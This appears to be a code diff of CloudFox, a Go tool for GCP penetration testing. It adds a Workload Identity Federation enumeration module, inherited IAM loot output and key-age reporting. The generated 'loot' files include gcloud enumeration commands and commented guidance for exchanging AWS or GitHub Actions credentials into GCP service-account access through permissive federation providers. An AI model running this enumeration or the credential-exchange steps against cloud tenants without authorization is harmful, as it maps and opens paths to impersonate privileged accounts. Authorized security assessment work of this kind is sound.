// Add in order: org, folder, project
addLoot(m.OrgLoot)
addLoot(m.FolderLoot)
addLoot(m.ProjectLoot)
var lootFiles []internal.LootFile
for _, loot := range m.LootMap {
for _, loot := range mergedLoot {
if loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
return lootFiles
}
// collectLootFilesForProject returns loot files for a specific project with inheritance.
// This includes org-level loot + ancestor folder loot + project-level loot.
func (m *IAMModule) collectLootFilesForProject(projectID string) []internal.LootFile {
// Get ancestry for this project
var projectOrgID string
var ancestorFolders []string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
}
// Merge loot by name
mergedLoot := make(map[string]*internal.LootFile)
// Helper to add loot content
addLoot := func(key string, loot *internal.LootFile) {
parts := strings.SplitN(key, ":", 2)
if len(parts) != 2 {
return
}
lootName := parts[1]
if mergedLoot[lootName] == nil {
mergedLoot[lootName] = &internal.LootFile{
Name: lootName,
Contents: "",
}
}
// Avoid duplicate headers
content := loot.Contents
if strings.HasPrefix(content, "# GCP IAM") {
if mergedLoot[lootName].Contents == "" {
// First entry, keep header
} else {
// Strip header from subsequent entries
lines := strings.SplitN(content, "\n\n", 2)
if len(lines) > 1 {
content = lines[1]
}
}
}
mergedLoot[lootName].Contents += content
}
// Add org-level loot
if projectOrgID != "" {
for key, loot := range m.OrgLoot {
if strings.HasPrefix(key, projectOrgID+":") {
addLoot(key, loot)
}
}
}
// Add ancestor folder loot (in order from top to bottom)
for i := len(ancestorFolders) - 1; i >= 0; i-- {
folderID := ancestorFolders[i]
for key, loot := range m.FolderLoot {
if strings.HasPrefix(key, folderID+":") {
addLoot(key, loot)
}
}
}
// Add project-level loot
for key, loot := range m.ProjectLoot {
if strings.HasPrefix(key, projectID+":") {
addLoot(key, loot)
}
}
var lootFiles []internal.LootFile
for _, loot := range mergedLoot {
if loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
lootFiles = append(lootFiles, *loot)
}
@@ -787,11 +947,6 @@ func (m *IAMModule) collectLootFiles() []internal.LootFile {
}
func (m *IAMModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Determine org ID - prefer discovered orgs, fall back to hierarchy
orgID := ""
if len(m.OrgIDs) > 0 {
@@ -800,23 +955,40 @@ func (m *IAMModule) writeHierarchicalOutput(ctx context.Context, logger internal
orgID = m.Hierarchy.Organizations[0].ID
}
lootFiles := m.collectAllLootFiles()
tables := m.buildTables()
// Check if we should use single-pass tee streaming for large datasets
totalRows := 0
for _, t := range tables {
totalRows += len(t.Body)
}
if orgID != "" && totalRows >= 50000 {
m.writeHierarchicalOutputTee(ctx, logger, orgID, tables, lootFiles)
return
}
// Standard output path for smaller datasets
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
if orgID != "" {
// DUAL OUTPUT: Complete aggregated output at org level
tables := m.buildTables()
lootFiles := m.collectLootFiles()
outputData.OrgLevelData[orgID] = IAMOutput{Table: tables, Loot: lootFiles}
// DUAL OUTPUT: Filtered per-project output
// DUAL OUTPUT: Filtered per-project output (with inherited loot)
for _, projectID := range m.ProjectIDs {
projectTables := m.buildTablesForProject(projectID)
projectLoot := m.collectLootFilesForProject(projectID)
if len(projectTables) > 0 && len(projectTables[0].Body) > 0 {
outputData.ProjectLevelData[projectID] = IAMOutput{Table: projectTables, Loot: nil}
outputData.ProjectLevelData[projectID] = IAMOutput{Table: projectTables, Loot: projectLoot}
}
}
} else if len(m.ProjectIDs) > 0 {
// FALLBACK: No org discovered, output complete data to first project
tables := m.buildTables()
lootFiles := m.collectLootFiles()
outputData.ProjectLevelData[m.ProjectIDs[0]] = IAMOutput{Table: tables, Loot: lootFiles}
}
@@ -829,6 +1001,83 @@ func (m *IAMModule) writeHierarchicalOutput(ctx context.Context, logger internal
}
}
// writeHierarchicalOutputTee uses single-pass streaming for large datasets.
func (m *IAMModule) writeHierarchicalOutputTee(ctx context.Context, logger internal.Logger, orgID string, tables []internal.TableFile, lootFiles []internal.LootFile) {
totalRows := 0
for _, t := range tables {
totalRows += len(t.Body)
}
logger.InfoM(fmt.Sprintf("Using single-pass tee streaming for %d rows", totalRows), globals.GCP_IAM_MODULE_NAME)
pathBuilder := m.BuildPathBuilder()
// Build reverse lookup: for each folder, which projects are under it
folderToProjects := make(map[string][]string)
orgToProjects := make(map[string][]string)
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
for _, projectID := range m.ProjectIDs {
// Get the org this project belongs to
projectOrgID := m.OrgCache.GetProjectOrgID(projectID)
if projectOrgID != "" {
orgToProjects[projectOrgID] = append(orgToProjects[projectOrgID], projectID)
}
// Get all ancestor folders for this project
ancestorFolders := m.OrgCache.GetProjectAncestorFolders(projectID)
for _, folderID := range ancestorFolders {
folderToProjects[folderID] = append(folderToProjects[folderID], projectID)
}
}
}
// Create a row router that routes based on scope type and OrgCache
rowRouter := func(row []string) []string {
// Row format: [ScopeType, ScopeID, ScopeName, ...]
scopeType := row[0]
scopeID := row[1]
switch scopeType {
case "project":
// Direct project binding - route to that project only
return []string{scopeID}
case "organization":
// Org binding - route to all projects under this org
if projects, ok := orgToProjects[scopeID]; ok {
return projects
}
return m.ProjectIDs
case "folder":
// Folder binding - route to all projects under this folder
if projects, ok := folderToProjects[scopeID]; ok {
return projects
}
return m.ProjectIDs
default:
return nil
}
}
config := internal.TeeStreamingConfig{
OrgID: orgID,
ProjectIDs: m.ProjectIDs,
Tables: tables,
LootFiles: lootFiles,
ProjectLootCollector: m.collectLootFilesForProject,
RowRouter: rowRouter,
PathBuilder: pathBuilder,
Format: m.Format,
Verbosity: m.Verbosity,
Wrap: m.WrapTable,
}
err := internal.HandleHierarchicalOutputTee(config)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing tee streaming output: %v", err), globals.GCP_IAM_MODULE_NAME)
m.CommandCounter.Error++
}
}
// buildTablesForProject builds tables filtered to only include data for a specific project
func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile {
header := []string{
@@ -838,7 +1087,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
"Member Type",
"Member",
"Role",
"High Privilege",
"Admin",
"Custom Role",
"Has Keys",
"Condition",
@@ -850,15 +1099,43 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
var body [][]string
// Add scope bindings for this project only
// Get ancestry data for this project to include org and folder bindings
var ancestorFolders []string
var projectOrgID string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
}
// Build a set of ancestor folder IDs for quick lookup
ancestorFolderSet := make(map[string]bool)
for _, folderID := range ancestorFolders {
ancestorFolderSet[folderID] = true
}
// Add scope bindings - include project, org, and ancestor folder bindings
for _, sb := range m.ScopeBindings {
if sb.ScopeType != "project" || sb.ScopeID != projectID {
// Check if this binding applies to this project
include := false
switch sb.ScopeType {
case "project":
include = sb.ScopeID == projectID
case "organization":
// Include org bindings if this is the project's org
include = projectOrgID != "" && sb.ScopeID == projectOrgID
case "folder":
// Include folder bindings if folder is in project's ancestry
include = ancestorFolderSet[sb.ScopeID]
}
if !include {
continue
}
isHighPriv := "No"
if highPrivilegeRoles[sb.Role] {
isHighPriv = "Yes"
// Check admin status from FoxMapper only - shows Org/Folder/Project or No
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sb.MemberEmail)
if adminStatus == "" {
adminStatus = "No"
}
isCustom := "No"
@@ -906,7 +1183,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
sb.MemberType,
sb.MemberEmail,
sb.Role,
isHighPriv,
adminStatus,
isCustom,
"-",
condition,
@@ -938,6 +1215,12 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
groups = strings.Join(memberGroups, ", ")
}
// Check admin status from FoxMapper
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sa.Email)
if adminStatus == "" {
adminStatus = "No"
}
// Check attack paths for this service account
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa.Email)
@@ -948,7 +1231,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
"ServiceAccountInfo",
sa.Email + disabled,
sa.DisplayName,
"-",
adminStatus,
"-",
hasKeys,
"-",
@@ -1003,7 +1286,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
func (m *IAMModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
tables := m.buildTables()
lootFiles := m.collectLootFiles()
lootFiles := m.collectAllLootFiles()
// Count security findings for logging
publicAccessFound := false
+618
View File
@@ -0,0 +1,618 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
workloadidentityservice "github.com/BishopFox/cloudfox/gcp/services/workloadIdentityService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPIdentityFederationCommand = &cobra.Command{
Use: globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
Aliases: []string{"federation", "wif", "federated-identity"},
Short: "Enumerate Workload Identity Federation (external identities)",
Long: `Enumerate Workload Identity Federation pools, providers, and federated bindings.
Workload Identity Federation allows external identities (AWS, GitHub Actions,
GitLab CI, Azure AD, etc.) to authenticate as GCP service accounts without
using service account keys.
Features:
- Lists Workload Identity Pools and Providers
- Analyzes AWS, OIDC (GitHub Actions, GitLab CI), and SAML providers
- Identifies risky provider configurations (missing attribute conditions)
- Shows federated identity bindings to GCP service accounts
- Generates exploitation commands for pentesting
Security Considerations:
- Providers without attribute conditions allow ANY identity from the source
- OIDC providers (GitHub Actions, GitLab) may allow any repo/pipeline to authenticate
- AWS providers allow cross-account access from the configured AWS account
- Federated identities inherit all permissions of the bound GCP service account
TIP: Run 'workload-identity' to enumerate GKE-specific K8s SA -> GCP SA bindings.
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
Run: runGCPIdentityFederationCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type IdentityFederationModule struct {
gcpinternal.BaseGCPModule
ProjectPools map[string][]workloadidentityservice.WorkloadIdentityPool // projectID -> pools
ProjectProviders map[string][]workloadidentityservice.WorkloadIdentityProvider // projectID -> providers
ProjectFederatedBindings map[string][]workloadidentityservice.FederatedIdentityBinding // projectID -> federated bindings
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type IdentityFederationOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o IdentityFederationOutput) TableFiles() []internal.TableFile { return o.Table }
func (o IdentityFederationOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPIdentityFederationCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
if err != nil {
return
}
module := &IdentityFederationModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectPools: make(map[string][]workloadidentityservice.WorkloadIdentityPool),
ProjectProviders: make(map[string][]workloadidentityservice.WorkloadIdentityProvider),
ProjectFederatedBindings: make(map[string][]workloadidentityservice.FederatedIdentityBinding),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *IdentityFederationModule) Execute(ctx context.Context, logger internal.Logger) {
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper cache for attack path analysis", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
}
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME, m.processProject)
allPools := m.getAllPools()
allProviders := m.getAllProviders()
allFederatedBindings := m.getAllFederatedBindings()
if len(allPools) == 0 {
logger.InfoM("No Workload Identity Federation configurations found", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s)",
len(allPools), len(allProviders), len(allFederatedBindings)), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
m.writeOutput(ctx, logger)
}
// getAllPools returns all pools from all projects
func (m *IdentityFederationModule) getAllPools() []workloadidentityservice.WorkloadIdentityPool {
var all []workloadidentityservice.WorkloadIdentityPool
for _, pools := range m.ProjectPools {
all = append(all, pools...)
}
return all
}
// getAllProviders returns all providers from all projects
func (m *IdentityFederationModule) getAllProviders() []workloadidentityservice.WorkloadIdentityProvider {
var all []workloadidentityservice.WorkloadIdentityProvider
for _, providers := range m.ProjectProviders {
all = append(all, providers...)
}
return all
}
// getAllFederatedBindings returns all federated bindings from all projects
func (m *IdentityFederationModule) getAllFederatedBindings() []workloadidentityservice.FederatedIdentityBinding {
var all []workloadidentityservice.FederatedIdentityBinding
for _, bindings := range m.ProjectFederatedBindings {
all = append(all, bindings...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *IdentityFederationModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Identity Federation in project: %s", projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
}
wiSvc := workloadidentityservice.New()
// Get Workload Identity Pools
allPools, err := wiSvc.ListWorkloadIdentityPools(projectID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
fmt.Sprintf("Could not list Workload Identity Pools in project %s", projectID))
return
}
// Filter out GKE Workload Identity pools (*.svc.id.goog) - those belong to the workload-identity module
var pools []workloadidentityservice.WorkloadIdentityPool
for _, pool := range allPools {
if !strings.HasSuffix(pool.PoolID, ".svc.id.goog") {
pools = append(pools, pool)
}
}
var providers []workloadidentityservice.WorkloadIdentityProvider
// Get providers for each pool
for _, pool := range pools {
poolProviders, err := wiSvc.ListWorkloadIdentityProviders(projectID, pool.PoolID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
fmt.Sprintf("Could not list providers for pool %s", pool.PoolID))
continue
}
providers = append(providers, poolProviders...)
}
// Find federated identity bindings
fedBindings, err := wiSvc.FindFederatedIdentityBindings(projectID, pools)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
fmt.Sprintf("Could not find federated identity bindings in project %s", projectID))
}
m.mu.Lock()
m.ProjectPools[projectID] = pools
m.ProjectProviders[projectID] = providers
m.ProjectFederatedBindings[projectID] = fedBindings
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["identity-federation-commands"] = &internal.LootFile{
Name: "identity-federation-commands",
Contents: "# Identity Federation Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, pool := range pools {
m.addPoolToLoot(projectID, pool)
}
for _, provider := range providers {
m.addProviderToLoot(projectID, provider)
}
for _, fedBinding := range fedBindings {
m.addFederatedBindingToLoot(projectID, fedBinding)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s) in project %s",
len(pools), len(providers), len(fedBindings), projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *IdentityFederationModule) addPoolToLoot(projectID string, pool workloadidentityservice.WorkloadIdentityPool) {
lootFile := m.LootMap[projectID]["identity-federation-commands"]
if lootFile == nil {
return
}
status := "Active"
if pool.Disabled {
status = "Disabled"
}
lootFile.Contents += fmt.Sprintf(
"# ==========================================\n"+
"# FEDERATION POOL: %s\n"+
"# ==========================================\n"+
"# Display Name: %s\n"+
"# State: %s (%s)\n"+
"# Description: %s\n"+
"\n# Describe pool:\n"+
"gcloud iam workload-identity-pools describe %s --location=global --project=%s\n\n"+
"# List providers:\n"+
"gcloud iam workload-identity-pools providers list --workload-identity-pool=%s --location=global --project=%s\n\n",
pool.PoolID,
pool.DisplayName,
pool.State, status,
pool.Description,
pool.PoolID, pool.ProjectID,
pool.PoolID, pool.ProjectID,
)
}
func (m *IdentityFederationModule) addProviderToLoot(projectID string, provider workloadidentityservice.WorkloadIdentityProvider) {
lootFile := m.LootMap[projectID]["identity-federation-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# ------------------------------------------\n"+
"# PROVIDER: %s/%s (%s)\n"+
"# ------------------------------------------\n",
provider.PoolID, provider.ProviderID,
provider.ProviderType,
)
if provider.ProviderType == "AWS" {
lootFile.Contents += fmt.Sprintf(
"# AWS Account: %s\n", provider.AWSAccountID)
} else if provider.ProviderType == "OIDC" {
lootFile.Contents += fmt.Sprintf(
"# OIDC Issuer: %s\n", provider.OIDCIssuerURI)
}
if provider.AttributeCondition != "" {
lootFile.Contents += fmt.Sprintf(
"# Attribute Condition: %s\n", provider.AttributeCondition)
} else {
lootFile.Contents += "# Attribute Condition: NONE (any identity from this provider can authenticate!)\n"
}
lootFile.Contents += fmt.Sprintf(
"\n# Describe provider:\n"+
"gcloud iam workload-identity-pools providers describe %s --workload-identity-pool=%s --location=global --project=%s\n\n",
provider.ProviderID, provider.PoolID, provider.ProjectID,
)
// Add exploitation guidance based on provider type
switch provider.ProviderType {
case "AWS":
lootFile.Contents += fmt.Sprintf(
"# From AWS account %s, exchange credentials:\n"+
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
"# --aws --output-file=gcp-creds.json\n\n",
provider.AWSAccountID,
provider.ProjectID, provider.PoolID, provider.ProviderID,
)
case "OIDC":
if strings.Contains(provider.OIDCIssuerURI, "github") {
lootFile.Contents += fmt.Sprintf(
"# From GitHub Actions workflow, add:\n"+
"# permissions:\n"+
"# id-token: write\n"+
"# contents: read\n"+
"# Then use:\n"+
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
"# [email protected] \\\n"+
"# --output-file=gcp-creds.json\n\n",
provider.ProjectID, provider.PoolID, provider.ProviderID,
)
}
}
}
func (m *IdentityFederationModule) addFederatedBindingToLoot(projectID string, binding workloadidentityservice.FederatedIdentityBinding) {
lootFile := m.LootMap[projectID]["identity-federation-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# ------------------------------------------\n"+
"# FEDERATED BINDING\n"+
"# ------------------------------------------\n"+
"# Pool: %s\n"+
"# GCP Service Account: %s\n"+
"# External Subject: %s\n\n",
binding.PoolID,
binding.GCPServiceAccount,
binding.ExternalSubject,
)
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *IdentityFederationModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *IdentityFederationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID := range m.ProjectPools {
tables := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = IdentityFederationOutput{Table: tables, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
m.CommandCounter.Error++
}
}
func (m *IdentityFederationModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allPools := m.getAllPools()
allProviders := m.getAllProviders()
allFederatedBindings := m.getAllFederatedBindings()
tables := m.buildTables(allPools, allProviders, allFederatedBindings)
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := IdentityFederationOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
m.CommandCounter.Error++
}
}
// buildTablesForProject builds tables for a specific project
func (m *IdentityFederationModule) buildTablesForProject(projectID string) []internal.TableFile {
pools := m.ProjectPools[projectID]
providers := m.ProjectProviders[projectID]
federatedBindings := m.ProjectFederatedBindings[projectID]
return m.buildTables(pools, providers, federatedBindings)
}
// buildTables builds all tables from the given data
func (m *IdentityFederationModule) buildTables(
pools []workloadidentityservice.WorkloadIdentityPool,
providers []workloadidentityservice.WorkloadIdentityProvider,
federatedBindings []workloadidentityservice.FederatedIdentityBinding,
) []internal.TableFile {
var tables []internal.TableFile
// Pools table
if len(pools) > 0 {
poolsHeader := []string{
"Project",
"Pool ID",
"Display Name",
"State",
"Disabled",
}
var poolsBody [][]string
for _, pool := range pools {
disabled := "No"
if pool.Disabled {
disabled = "Yes"
}
poolsBody = append(poolsBody, []string{
m.GetProjectName(pool.ProjectID),
pool.PoolID,
pool.DisplayName,
pool.State,
disabled,
})
}
tables = append(tables, internal.TableFile{
Name: "identity-federation-pools",
Header: poolsHeader,
Body: poolsBody,
})
}
// Providers table
if len(providers) > 0 {
providersHeader := []string{
"Project",
"Pool",
"Provider",
"Type",
"OIDC Issuer / AWS Account",
"Trust Scope",
"Access Condition",
}
var providersBody [][]string
for _, p := range providers {
issuerOrAccount := "-"
if p.ProviderType == "AWS" {
issuerOrAccount = p.AWSAccountID
} else if p.ProviderType == "OIDC" {
issuerOrAccount = p.OIDCIssuerURI
}
attrCond := "NONE"
if p.AttributeCondition != "" {
attrCond = p.AttributeCondition
}
trustScope := analyzeTrustScope(p)
providersBody = append(providersBody, []string{
m.GetProjectName(p.ProjectID),
p.PoolID,
p.ProviderID,
p.ProviderType,
issuerOrAccount,
trustScope,
attrCond,
})
}
tables = append(tables, internal.TableFile{
Name: "identity-federation-providers",
Header: providersHeader,
Body: providersBody,
})
}
// Federated bindings table
if len(federatedBindings) > 0 {
fedBindingsHeader := []string{
"Project",
"Pool",
"GCP Service Account",
"External Identity",
"SA Attack Paths",
}
var fedBindingsBody [][]string
for _, fb := range federatedBindings {
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, fb.GCPServiceAccount)
fedBindingsBody = append(fedBindingsBody, []string{
m.GetProjectName(fb.ProjectID),
fb.PoolID,
fb.GCPServiceAccount,
fb.ExternalSubject,
attackPaths,
})
}
tables = append(tables, internal.TableFile{
Name: "identity-federation-bindings",
Header: fedBindingsHeader,
Body: fedBindingsBody,
})
}
return tables
}
// analyzeTrustScope examines a provider's configuration and returns a human-readable
// summary of how broad the trust is. Flags overly permissive configurations.
func analyzeTrustScope(p workloadidentityservice.WorkloadIdentityProvider) string {
// No attribute condition = any identity from this provider
if p.AttributeCondition == "" {
switch p.ProviderType {
case "AWS":
return "BROAD: Any role in AWS account " + p.AWSAccountID
case "OIDC":
return "BROAD: Any identity from issuer"
case "SAML":
return "BROAD: Any SAML assertion"
default:
return "BROAD: No condition set"
}
}
cond := p.AttributeCondition
var issues []string
// Check for wildcard patterns in the condition
if strings.Contains(cond, `"*"`) || strings.Contains(cond, `'*'`) {
issues = append(issues, "wildcard (*) in condition")
}
// GitHub Actions specific analysis
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "github") {
// Check if repo is scoped
if !strings.Contains(cond, "repository") && !strings.Contains(cond, "repo") {
issues = append(issues, "no repo restriction")
}
// Check if branch/ref is scoped
if strings.Contains(cond, "repository") || strings.Contains(cond, "repo") {
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
issues = append(issues, "no branch restriction")
}
}
// Check for org-wide trust (repo starts with org/)
if strings.Contains(cond, ".startsWith(") {
issues = append(issues, "prefix match (org-wide?)")
}
}
// GitLab CI specific analysis
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "gitlab") {
if !strings.Contains(cond, "project_path") && !strings.Contains(cond, "namespace_path") {
issues = append(issues, "no project restriction")
}
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
issues = append(issues, "no branch restriction")
}
}
// AWS specific analysis
if p.ProviderType == "AWS" {
if !strings.Contains(cond, "arn") && !strings.Contains(cond, "account") {
issues = append(issues, "no role/account restriction")
}
}
if len(issues) > 0 {
return "BROAD: " + strings.Join(issues, ", ")
}
return "Scoped"
}
Regular → Executable
+81 -3
View File
@@ -55,7 +55,7 @@ type UnifiedKeyInfo struct {
type KeysModule struct {
gcpinternal.BaseGCPModule
ProjectKeys map[string][]UnifiedKeyInfo // projectID -> keys
ProjectKeys map[string][]UnifiedKeyInfo // projectID -> keys
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
@@ -269,6 +269,10 @@ func (m *KeysModule) processProject(ctx context.Context, projectID string, logge
Name: "keys-apikey-test-commands",
Contents: "# API Key Test Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["keys-enumeration-commands"] = &internal.LootFile{
Name: "keys-enumeration-commands",
Contents: "# Key Enumeration Commands\n# Generated by CloudFox\n\n",
}
}
for _, key := range projectKeys {
@@ -279,6 +283,50 @@ func (m *KeysModule) processProject(ctx context.Context, projectID string, logge
func (m *KeysModule) addKeyToLoot(projectID string, key UnifiedKeyInfo) {
switch key.KeyType {
case "SA Key":
// Add enumeration commands for user-managed SA keys, especially old ones
if key.Origin == "User Managed" {
lootFile := m.LootMap[projectID]["keys-enumeration-commands"]
if lootFile != nil {
age := "-"
ageWarning := ""
if !key.CreateTime.IsZero() {
ageDuration := time.Since(key.CreateTime)
age = formatKeyAge(ageDuration)
days := int(ageDuration.Hours() / 24)
if days >= 365 {
ageWarning = " [OLD KEY - " + age + "]"
} else if days >= 90 {
ageWarning = " [" + age + " old]"
}
}
lootFile.Contents += fmt.Sprintf(
"# SA Key: %s%s\n"+
"# Service Account: %s\n"+
"# Project: %s\n"+
"# Created: %s (Age: %s)\n"+
"# Origin: %s\n\n"+
"# List all keys for this service account:\n"+
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n\n"+
"# Describe specific key:\n"+
"gcloud iam service-accounts keys get-public-key %s --iam-account=%s --project=%s\n\n",
key.KeyID,
ageWarning,
key.Owner,
key.ProjectID,
key.CreateTime.Format("2006-01-02"),
age,
key.Origin,
key.Owner,
key.ProjectID,
key.KeyID,
key.Owner,
key.ProjectID,
)
}
}
case "HMAC":
if key.State == "ACTIVE" {
lootFile := m.LootMap[projectID]["keys-hmac-s3-commands"]
@@ -344,6 +392,7 @@ func (m *KeysModule) getTableHeader() []string {
"State",
"Created",
"Expires",
"Age",
"DWD",
"Restrictions",
}
@@ -358,6 +407,12 @@ func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
created = key.CreateTime.Format("2006-01-02")
}
// Calculate age
age := "-"
if !key.CreateTime.IsZero() {
age = formatKeyAge(time.Since(key.CreateTime))
}
expires := "-"
if !key.ExpireTime.IsZero() {
// Check for "never expires" (year 9999)
@@ -398,6 +453,7 @@ func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
key.State,
created,
expires,
age,
dwd,
restrictions,
})
@@ -405,6 +461,28 @@ func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
return body
}
// formatKeyAge formats a duration into a human-readable age string
func formatKeyAge(d time.Duration) string {
days := int(d.Hours() / 24)
if days >= 365 {
years := days / 365
remainingDays := days % 365
months := remainingDays / 30
if months > 0 {
return fmt.Sprintf("%dy %dm", years, months)
}
return fmt.Sprintf("%dy", years)
} else if days >= 30 {
months := days / 30
remainingDays := days % 30
if remainingDays > 0 {
return fmt.Sprintf("%dm %dd", months, remainingDays)
}
return fmt.Sprintf("%dm", months)
}
return fmt.Sprintf("%dd", days)
